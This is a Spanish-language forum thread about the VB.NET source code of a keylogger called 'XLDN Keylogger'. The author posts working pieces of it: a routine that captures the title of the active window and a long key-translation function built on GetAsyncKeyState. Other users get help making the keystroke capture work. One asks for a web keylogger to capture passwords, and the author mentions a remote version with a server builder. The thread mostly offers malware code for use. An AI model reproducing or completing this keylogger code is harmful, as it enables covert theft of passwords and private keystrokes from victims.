XLDN Keylogger v1.1 Source code

Iniciado por xeldon, 28 Febrero 2010, 23:42 PM

0 Miembros y 4 Visitantes están viendo este tema.

chacKos

#10
No me funciona ya que si lo pongo dentro, sigue entrando dentro del return y sale, y ahí ya no me captura la pulsación de teclas/ratón!

Otra cosa que tengo duda es, cuando pones esto LngShift = GetAsyncKeyState(ShiftKey) donde está declara la variable ShiftKey porque me aparece como que no está declarada!


---] chacKos [---

xeldon

Esta declarado 3 lineas arriba de lo que me has copiado xD

A ver... ejemplo sencillo pa coger el titulo de la ventana:


Imports System.Environment

Public Class Form1




    <System.Runtime.InteropServices.DllImport("user32.dll")> _
       Private Shared Function GetForegroundWindow() As System.IntPtr
    End Function



    <System.Runtime.InteropServices.DllImport("user32.dll")> _
   Private Shared Function GetWindowText( _
      ByVal hWnd As System.IntPtr, _
      ByVal lpString As System.Text.StringBuilder, _
      ByVal cch As Integer) As Integer
    End Function


    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       
        Dim titulo As New System.Text.StringBuilder(New String(" "c, 256))
        Dim ret As Integer
        Dim nombreVentana As String

        Dim hWnd As IntPtr = GetForegroundWindow()
        If hWnd.Equals(IntPtr.Zero) Then Return
        ret = GetWindowText(hWnd, titulo, titulo.Length)
        If ret = 0 Then Return
        nombreVentana = titulo.ToString.Substring(0, ret)
        If nombreVentana <> Nothing AndAlso nombreVentana.Length > 0 Then
            tex.AppendText(nombreVentana)
        End If


    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Stop()
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Timer1.Start()
    End Sub
End Class




Form tiene un textbox (tex), y 2 buttons, uno de start y otro de stop, en los que activas/desactivas el timer de interval un segundo.


Te tiene que funcionar por narices!! Checkeado ;)
:::Learn the rules:::

:::Play the game:::

..::...:::... http://darkxeldon.blogspot.com/ ...:::...::..

chacKos

#12
Ok, lo acabo de probar y si funciona, ahora lo que debo hacer es llamar a ese code cada vez que pulse una tecla/clic. Gracias! Mañana lo intento y te cuento!

Hola buenos días!
Ya lo he probado y me funciona perfectamente, pero como te decía con la declaración de ShiftKey, solo está en la línea LngShift = GetAsyncKeyState(ShiftKey) ¿Qué valor debe tener?


---] chacKos [---

xeldon

ahh!!! ok , no te entendi, shiftkey es una variable del sistema, seguramente no te la reconozca porque no tienes este import:

Imports System.Windows.Forms.Keys

Ahora?
:::Learn the rules:::

:::Play the game:::

..::...:::... http://darkxeldon.blogspot.com/ ...:::...::..

chacKos

Ok, ya funciona, muchas gracias!
Respecto a esta parte del código
      If KeyCode > 64 And KeyCode < translatekey =" IIf(LngShift"> 0, Chr(KeyCode),_
Chr(KeyCode + 32))
      ElseIf KeyCode >= 58 And KeyCode <= 90 Then _
TranslateKey = If(LngShift <> 0, Chr(KeyCode), UCase(Chr(KeyCode)))
      ElseIf KeyCode >= 96 And KeyCode <= 105 Then _
TranslateKey = Chr(KeyCode - 48)         ElseIf KeyCode >= 112 And KeyCode <= 123 Then _
TranslateKey = "{F" & KeyCode - 111 & "}"         Else

En especial a esto:
If KeyCode > 64 And KeyCode < translatekey =" IIf(LngShift"> 0, Chr(KeyCode),_
Chr(KeyCode + 32))

No me funciona, no se veo eso un poco raro al asignarle a translatekey " IIf(Lng...."
Otra cosa, cuando haces por ejemplo IIf(LngShift <> 0, ";", ",") es para saber si tenemos pulsada la tecla Shift no? es que lo pruebo y me salen otras cosas, tal vez tenga que ver con la configuracion de teclado, pero que yo sepa tengo la española jeje! Si por ejemplo pulso "." me sale "3/4". Voy a mirar la configuración de teclado!


---] chacKos [---

xeldon

buff con la funcion translatekey me pelee mucho... Lo de 32 es porque si tienes pulsado sifht, te cambia el caracter ascii de el caracter en minuscula, por el de mayuscula, 32 es la diferencia. Buscate una tabla de juego de caracteres ANSI para tenerlo mas claro.

La funcion la coji de un codigo que tenia por ahi suelto y la modifique a mi gusto, La verdad que ami me funciona bien xD

Lo que hace bvasicamente es comprobar en cada codigo ansi si esta pulsad el shift, para cambiar el caracter que debe devovler.
:::Learn the rules:::

:::Play the game:::

..::...:::... http://darkxeldon.blogspot.com/ ...:::...::..

Minicrazy

esto es keylogger web? yo estoy buscando un keylogger para una web ya que las pass no se me quedan en la base de datos

[/url]

Nunca postees jilipolleces

xeldon

o.O Keylogger web? eso existe? xD es un keylogger local; ya termine el remoto, peero estoy intentando que el cliente me cree el servidor para poder configurar el puerto de escucha.
Si alguien sabe como se puede compilar codigo desde codigo... me haria un gran favor =P
:::Learn the rules:::

:::Play the game:::

..::...:::... http://darkxeldon.blogspot.com/ ...:::...::..

chacKos

Cita de: xeldon en  4 Marzo 2010, 15:20 PM
Si alguien sabe como se puede compilar codigo desde codigo... me haria un gran favor =P
No entendí a que te refieres con eso?

Mira estoy intentando mejorar un poco la captura de teclas y estoy probando con esto
    Private Sub Form1_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyDown
        Select Case e.KeyValue
            Case Keys.A
                MsgBox("A")
            Case Keys.B
                MsgBox("B")
            Case Keys.A And Keys.Alt
                MsgBox("Alt+A")
        End Select
    End Sub

Pero el problema es para usarlo en el Timer1_tick ya que no se como se puede capturar la e de System.Windows.Forms.KeyEventArgs. Se te ocurre algo, es que en tu código me da error esta parteIf KeyCode > 64 And KeyCode < translatekey =" IIf(LngShift"> 0, Chr(KeyCode),_
Chr(KeyCode + 32))
no sé si tal vez te equivocases al copiar o algo no sé!


---] chacKos [---

xeldon

Vale, cosa muy extraña, el copy paste se comio unos caracteres xD!

vuelvo a dejar la funcion:


    Private Function TranslateKey(ByVal KeyCode As Long) As String
        Dim LngShift As Long

        'Funcion optimizada para su uso en teclados españoles.

        LngShift = GetAsyncKeyState(ShiftKey)
        If KeyCode > 64 And KeyCode < 91 Then
            TranslateKey = IIf(LngShift <> 0, Chr(KeyCode), Chr(KeyCode + 32))
        ElseIf KeyCode >= 58 And KeyCode <= 90 Then
            TranslateKey = If(LngShift <> 0, Chr(KeyCode), UCase(Chr(KeyCode)))
        ElseIf KeyCode >= 96 And KeyCode <= 105 Then
            TranslateKey = Chr(KeyCode - 48)
        ElseIf KeyCode >= 112 And KeyCode <= 123 Then
            TranslateKey = "{F" & KeyCode - 111 & "}"
        Else

            If KeyCode = 1 Then TranslateKey = ""
            If KeyCode = 2 Then TranslateKey = ""
            If KeyCode = 4 Then TranslateKey = ""
            If KeyCode = 160 Then TranslateKey = ""
            If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
            If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
            If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
            If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
            If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
            If KeyCode = 32 Then TranslateKey = " "
            If KeyCode = 27 Then TranslateKey = "{ESC}"
            If KeyCode = 46 Then TranslateKey = "{DEL}"
            If KeyCode = 36 Then TranslateKey = "{HOME}"
            If KeyCode = 35 Then TranslateKey = "{END}"
            If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
            If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
            If KeyCode = 45 Then TranslateKey = "{PASTE}"
            If KeyCode = 144 Then TranslateKey = "{NUM}"
            If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
            If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
            If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
            If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
            If KeyCode = 13 Then TranslateKey = "{ENTER}"
            If KeyCode = 8 Then TranslateKey = "{BACK}"
            If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
            If KeyCode = 9 Then TranslateKey = "{TAB}"
            If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
            If KeyCode = 162 Then TranslateKey = "{CNTRL LEFT}"
            If KeyCode = 163 Then TranslateKey = "{CNTRL DER.}"
            If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
            If KeyCode = 164 Then TranslateKey = "{ALT}"
            If KeyCode = 165 Then TranslateKey = "{ALTGR}"
            If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
            If KeyCode = 188 Then TranslateKey = IIf(LngShift <> 0, ";", ",")
            If KeyCode = 190 Then TranslateKey = IIf(LngShift <> 0, ":", ".")
            If KeyCode = 189 Then TranslateKey = IIf(LngShift <> 0, "_", "-")

            If KeyCode = 187 Then TranslateKey = IIf(LngShift <> 0, "*", "+")

            If KeyCode = 219 Then TranslateKey = IIf(LngShift <> 0, "?", "'")
            If KeyCode = 220 Then TranslateKey = IIf(LngShift <> 0, "º", "ª")
            If KeyCode = 48 Then TranslateKey = IIf(LngShift <> 0, "=", "0")
            If KeyCode = 49 Then TranslateKey = IIf(LngShift <> 0, "!", "1")
            If KeyCode = 50 Then TranslateKey = IIf(LngShift <> 0, """", "2")
            If KeyCode = 51 Then TranslateKey = IIf(LngShift <> 0, "·", "3")
            If KeyCode = 52 Then TranslateKey = IIf(LngShift <> 0, "$", "4")
            If KeyCode = 53 Then TranslateKey = IIf(LngShift <> 0, "%", "5")
            If KeyCode = 54 Then TranslateKey = IIf(LngShift <> 0, "&", "6")
            If KeyCode = 55 Then TranslateKey = IIf(LngShift <> 0, "/", "7")
            If KeyCode = 56 Then TranslateKey = IIf(LngShift <> 0, "(", "8")
            If KeyCode = 57 Then TranslateKey = IIf(LngShift <> 0, ")", "9")
            If KeyCode = 145 Then TranslateKey = "{ROLL}"
            If KeyCode = 44 Then TranslateKey = "{PRINT}"
            If KeyCode = 19 Then TranslateKey = "{PAUSE}"
            If KeyCode = 16 Then TranslateKey = "{SHIFT}"

        End If
    End Function


Con lo otro me referia a(explicandolo de forma rapida) dar a un boton en un formulario que me compile el codigo que yo meta en un textbox (Un simple hello world). Esto lo he conseguido, pero lo que necesito es poder compilar un programa con formularios; Crear un formulario desde codigo...
:::Learn the rules:::

:::Play the game:::

..::...:::... http://darkxeldon.blogspot.com/ ...:::...::..